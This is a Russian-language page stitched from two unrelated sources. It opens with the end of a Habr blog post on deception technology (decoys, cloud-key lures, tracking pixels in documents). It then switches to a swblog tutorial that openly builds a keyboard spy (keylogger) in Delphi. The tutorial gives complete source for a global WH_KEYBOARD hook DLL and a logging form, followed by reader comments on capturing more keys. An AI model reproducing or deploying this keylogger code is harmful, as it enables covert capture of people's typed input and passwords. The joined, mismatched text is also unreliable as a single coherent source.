Тут важно помнить, что приманки должны полностью соответствовать инфраструктуре заказчика. О реалистичности мы поговорим в отдельном разделе, но, если на машине не стоит, скажем, Putty, в реестр обычно не стоит добавлять запись/приманку для неё, как и класть конфиги для других популярных программ.
В гибридных решениях могут использоваться гибридные приманки, например, ключи для AWS или Google, которые ведут в ловушки на облаке.
Некоторые вендоры используют документы со специальными пикселями внутри, позволяющими потом отследить, где был открыт такой документ и был ли он вынесен за периметр, хотя споры о работоспособности и полезности такого функционала ведутся до сих пор. Например, мало кто из опытных злоумышленников будет открывать документы вне песочницы, да еще и с выходом в интернет. Но это зато позволит отловить не очень опытных инсайдеров, такие функции у Deception-решений тоже есть.
В следующей части мы расскажем о том, как при помощи технологий Deception создать и разместить максимально реалистичные ловушки и приманки в инфраструктуре, а также какой функционал отличает их от привычных ханипотов. Если у вас появились вопросы, комментарии, дополнения, пишите в комментариях!
- deception
- информационная безопасность
- целевые атаки
- направленные атаки
- хакерские атаки
- apt
- сетевая безопасность
- сетевая инфраструктура
- корпоративная сеть
- honeypot
- Блог компании R-Vision
- Информационная безопасность
- Сетевые технологии
Источник: habr.com
Ловушки в Microsoft Windows
Когда то давно возникла у меня необходимость написать программку для создания скриншотов. А именно пользователь выделяет мышью необходимую ему область на экране, затем отпускает кнопку и получает скриншот. В то время я про ловушки еще не знал. Несколько дней я “бился” над поставленной задачей, но мои эксперименты так и ни к чему, ни привели.
Почитав различную литературу и статьи, и узнав, что такое ловушки, и с чем их “едят”, я принялся экспериментировать дальше. А начал я с книги Михаила Фленова «Программирование в Delphi глазами хакера». На то время, все то, что я почерпал из его книги, мне показалось довольно легко, но только потом я понял (когда в этом деле поднабрался опыта), что сильно ошибся.
А обстояло все это дело так: я переписал его код, кое что добавил свое и в ожидании того, чего я ждал так долго, что это, наконец, и есть, то, что нужно. Но пару тестов и результат нулевой. Все я уже почти был готов сдаться. Но на этих пробах и ошибках мои знания только увеличивались. Но что толку, тогда думал я. Ведь я так и не написал, то, что было нужно.
Все те статьи, которые я нашел в Интернете, тоже не помогали. А у большинства людей были те же проблемы, как и у меня. Почему перехват событий происходит только в моей программе? Как передать значения из ловушки в основную программу? Ведь я написал глобальную ловушку? Ведь ловушка размещена в библиотеке, а не в модуле.
Ведь данные, полученные из ловушки нужно где то сохранять. Ладно, еще можно попытаться писать в текстовый файл (если это простенький клавиатурный шпион). Но писать в файл из библиотеки категорически не рекомендуется. Я на своих экспериментах в этом убедился. А что если писать скриншоты, это уже не текст и соответственно время записи уже не такое.
Позже случилось так, что я забросил это дело, хотя и возвращался время от времени, все хотел понять, что я делаю не так.
Но произошло чудо. Попала ко мне в руки книга Юрия Ревича “Нестандартные приемы программирования на Delphi”. Полистав которую, я был немного шокирован, вот оно то, что мне нужно. А не получалось ранее, потому что нужно передавать значения из ловушки через MAP файлы (Memory Mapped Files) – отображение файла на память.
Ну что начинаем писать шпиона?
И так все постепенно…
В операционной системе Microsoft Windows ловушкой называется механизм перехвата особой функцией событий (таких как сообщения, ввод с мыши или клавиатуры) до того, как они дойдут до приложения. Эта функция может затем реагировать на события и, в некоторых случаях, изменять или отменять их. Функции, получающие уведомления о событиях, называются фильтрующими функциями и различаются по типам перехватываемых ими событий. Пример – фильтрующая функция для перехвата всех событий мыши или клавиатуры. Чтобы Windows смогла вызывать функцию фильтр, эта функция должна быть установлена, то есть, прикреплена к ловушке (например, к клавиатурной ловушке).
Все, хватит теории, начинаем писать. Мы напишем простой клавиатурный шпион. Почему простой? Да потому что шпион должен не только перехватывать нажатые клавиши, а также следить за приложениями, в которых эти клавиши нажимались. Еще можно записывать и время запуска ловушки, приложения которое имело на момент нажатия клавиш фокус ввода и т.д.
Но это вы уже сможете реализовать сами.
Создаем новый проект. Бросаем TMemo и две кнопки:
Затем объявляем константу с пользовательским сообщением:
const WM_ReadWithHook = WM_USER + 120;
Теперь нам надо импортировать процедуры запуска и удаления ловушки. Хотя библиотека еще не написана, но это так, чтобы потом не возвращаться. Добавьте у себя такие вот строки:
procedure SetHook; stdcall; external ‘Keyhook.dll’; procedure DelHook; stdcall; external ‘Keyhook.dll’;
На следующем шаге создадим, обработчики для кнопок и в них напишем следующий код:
procedure TPrimary.Button_StartClick(Sender: TObject); begin // Очищаем разделяемую область FillChar(DataArea^, SizeOf(DataArea^), 0); // Передаем дескриптор нашего окна DataArea^.FormHandle := Handle; SetHook; end; procedure TPrimary.Button_StopClick(Sender: TObject); begin DelHook; end;
В обработчике кнопки «Start» есть переменные, которые не были объявлены, эти переменные находятся в другом модуле, который мы рассмотрим позже.
Теперь нам необходимо написать обработчик для нашего пользовательского сообщения. Для этого поместите следующий прототип процедуры в область private:
procedure WM_READHOOK(var Message: TMessage); message WM_ReadWithHook;
Ну а сам обработчик настолько прост, что проще некуда.
procedure TPrimary.WM_READHOOK(var Message: TMessage); begin Memo.Lines.Add(GetCharFromVKey(Message.WParam)); end;
В переменной Message, в параметре Wparam, находится код с виртуальным идентификатором клавиши. Вся проблема в том, что по этому коду мы не можем определить, ни в каком регистре находится символ, ни уж тем более раскладку клавиатуры, при которой он был веден. Именно поэтому я привожу функцию GetCharFromVKey, которая возвращает именно тот символ, который мы ввели. В ней различается и регистр и раскладка.
Сама функция предназначена только для конвертирования клавиш по их коду. Поэтому на ней мы останавливаться не будем. Скажу только что, она распознает все символы от A до Z, от a до z, от А до Я и от а до я и т.д. То есть по регистру и по раскладке.
Теперь нам предстоит написать модуль для создания общей разделяемой области. Модуль у меня называется IniHook, с дополнительными секциями initialization и finalization. Создаем новый модуль и называем его IniHook. Подключаем два модуля: Windows и Messages.
Объявим указатель на переменную THookInfo
Затем напишем запись THookInfo.
type PHookInfo = ^THookInfo; THookInfo = packed record FormHandle: THandle; // Дескриптор окна приложения HookHandleKey: THandle; // Дескриптор ловушки end;
Далее объявляем две переменные:
var DataArea: PHookInfo = nil; hMapArea: THandle = 0;
Через переменную DataArea мы будем обращаться к полям записи THookInfo, hMapArea будет содержать дескриптор объекта «проецируемого» файла.
Далее в разделе initialization вызовем функцию CreateFileMapping и присвоим ее возвращенное значение переменной hMapArea. Затем вызовем функцию MapViewOfFile и присвоим ее возвращенное значение переменной DataArea. Исходный код смотрите ниже:
// Создаем файл в памяти hMapArea := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, SizeOf(DataArea), ‘HookKeyboard’); DataArea := MapViewOfFile(hMapArea, FILE_MAP_ALL_ACCESS, 0, 0, 0);
Кратко рассмотрим использованные здесь функции.
Создание и использование объектов файлового отображения осуществляется посредством функций Windows API. Этих функций три:
- CreateFileMapping;
- MapViewOfFile;
- UnMapViewOfFile.
Отображаемый файл создается операционной системой при вызове функции CreateFileMapping. Этот объект поддерживает соответствие между содержимым файла и адресным пространством процесса, использующего этот файл. Функция CreateFiieMapping имеет шесть параметров:
CreateFileMapping( hFile: THandle; lpFileMappingAttributes: PSecurityAttributes; flProtect: DWORD; dwMaximumSizeHigh: DWORD; dwMaximumSizeLow: DWORD; lpName: PChar ): THandle;
Следующая задача – спроецировать данные файла в адресное пространство нашего процесса. Этой цели служит функция MapviewOfFile. Функция MapViewOfFile имеет пять параметров:
MapViewOfFile( hFileMappingObject: THandle; dwDesiredAccess: DWORD; dwFileOffsetHigh: DWORD; dwFileOffsetLow: DWORD; dwNumberOfBytesToMap: DWORD ): Pointer; stdcall;
Немного отвлеклись? Ну что продолжаем. Далее нам необходимо в разделе finalization написать код, который убирает файл из памяти.
// Убираем файл из памяти if Assigned(DataArea) then UnMapViewOfFile(DataArea); if hMapArea <> 0 then CloseHandle(hMapArea);
Здесь только следует отметить, что функция UnMapViewOfFile должна вызываться перед функцией CloseHandle. То есть ни в коем случае этот порядок нарушать нельзя.
Ну что модуль мы написали, теперь его необходимо подключить к основной программе. Осталось нам написать саму ловушку, которая будет размещаться в библиотеке. А пока идем пить кофе. Попили? Продолжаем.
Начните новый проект, только не для написания приложения, а для библиотеки. Для этого нужно выбрать команду File/New/Other, затем перед вами откроется следующее окно:
Найдите элемент DLL Wizard и дважды щелкните на нем. И Delphi создаст пустой проект динамической библиотеки. Не забудьте сразу сохраниться. Ниже представлен исходный код моей библиотеки:
library KeyHook; uses Windows, Messages, SysUtils, IniHook in ‘..IniHook.pas’; const WM_ReadWithHook = WM_USER + 120; // Пользовательское сообщение // Функция обслуживающая ловушку function KeyboardProc(Code: Integer; wParam: WPARAM; lParam: LPARAM): Integer; StdCall; begin if Code < 0 then // Передаем сообщение другим ловушкам в системе Result := CallNextHookEx(DataArea^.HookHandleKey, Code, wParam, lParam) else if Byte(lParam shr 24) < $80 then // Только нажатие клавиши begin PostMessage(DataArea^.FormHandle, WM_ReadWithHook, wParam, 0); end; Result := CallNextHookEx(DataArea^.HookHandleKey, Code, wParam, lParam); end; // Установка ловушки procedure SetHook; StdCall; begin DataArea^.HookHandleKey := SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, hInstance, 0); end; // Удаление ловушки procedure DelHook; StdCall; begin UnhookWindowsHookEx(DataArea^.HookHandleKey); end; // Экспорт процедур exports SetHook, DelHook; begin end.
Теперь обо всем по порядку. Для начала необходимо подключить три модуля: Windows, Messages, SysUtils и один наш модуль, а именно IniHook Чтобы мне не держать копии модуля в каталоге самой программы и в каталоге библиотеки я его вынес в общий каталог, в котором находятся каталоги основной программы и библиотеки. Но вы можете его подключить стандартным способом, то есть, объявив его со всеми модулями, только тогда вам придется положить этот модуль в каталог с библиотекой. Это уже дело вкуса.
Теперь, как и в основной программе, мы объявили константу WM_ReadWithHook = WM_USER + 120, для нашего пользовательского сообщения. Функция KeyboardProc – это обработчик нашей ловушки. Эта функция имеет три параметра. Сейчас мы и их рассмотрим более подробно. При установленном типе ловушки WH_KEYBOARD, эти параметры могут иметь следующие значения:
- nCode: Определяет код использования процедуры ловушки, чтобы определить как обработать сообщение. Этот параметр может иметь несколько значений.
- AC_ACTION – WParam и LParamпараметры содержат информацию относительно нажатой клавиши. Сообщения другого типа у нас нет необходимости обрабатывать.
- WParam: Определяет код с виртуальным идентификатором клавиши, которая генерировала сообщение нажатия клавиши.
- LParam: определяет повторный счет, скэн-код, флажок расширенной клавиши, контекстный код, предыдущий флажок состояния клавиши, и флажок переходного состояния. Этот параметр может иметь комбинацию определенных значений. Но мы их рассматривать не будем, поскольку они в нашем случае не предоставляют интереса.
Функция CallNextHookEx имеет четыре параметра:
- (hhk)– дескриптор ловушки, возвращенный функцией SetWindowsHookEx;
- (Code) – определяет код перехвата;
- (WParam) – определяет приходящую длину в процедуре по обработке ловушки. Его значение зависит от типа установленной ловушки;
- (LParam) – определяет приходящую длину в процедуре по обработке ловушки. Его значение зависит от типа установленной ловушки.
В данный момент нас интересует вот эта строка кода:
PostMessage(DataArea^.FormHandle, WM_ReadWithHook, WPARAM, 0);
В этой строке мы передаем команду нашему приложению, в котором вызывается обработчик нашего пользовательского сообщения WM_ReadWithHook = WM_USER + 120 и параметр WPARAM, который содержит код клавиши.
И, на конец я вызываю опять функцию CallNextHookEx, возвращаемое значение которой я передаю в переменную. Я заметил, что так практически никто не делает. Оно то все работает. Но в игре, к примеру «Counter-Strike» при включенной ловушке, были зависания клавиш. А после добавления в конец нашего обработчика функции CallNextHookEx, пришло все в норму.
Процедура SetHook содержит всего лишь одну строку кода:
DataArea^.HookHandleKey := SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, hInstance, 0);
Здесь вызывается функция установки ловушки SetWindowsHookEx. У этой функции должно быть четыре параметра:
- Тип ловушки. Указан WH_KEYBOARD, эта ловушка контролирует сообщения нажатия клавиш;
- Идентификатор, содержащий процедуру ловушки;
- Указатель на приложение;
- Идентификатор потока. Если параметр равен нулю, то используется текущий.
Процедура DelHook также имеет всего одну строку кода:
UnhookWindowsHookEx(DataArea^.HookHandleKey);
Функция UnhookWindowsHookEx имеет всего один параметр и это дескриптор ловушки.
Процедуры SetHook и DelHook объявлены как экспортные.
Ну вот и все. Вы можете скачать demo версию или полный исходник проекта.
Комментариев: 6
почему в world и excel по несколько букв ( 6) передается?
В других приложениях нормально.
По работе с глобальными ловушками встречается немало разных нюансов. Поэтому про нюанс работы с Microsoft office, мне не встречались решения данной проблемы. Если вам удастся найти объяснение, то поделитесь ответом. Не ленитесь ).
подскажите не ловит клавиши F1-F12 как их поймать?
Для начала вам нужно узнать коды клавиш F1..F12 и модифицировать функцию: GetCharFromVKey.
перекомпилировал ваш пример и получил неприятный эффект.
Когда форма в фокусе при нажатии на клавишу программа входит в непрерывный цикл.
Почему — мне непонятно, ваша демка работает отлично.
Мне нужно модифицировать GetCharFromVKey.
Источник: swblog.ru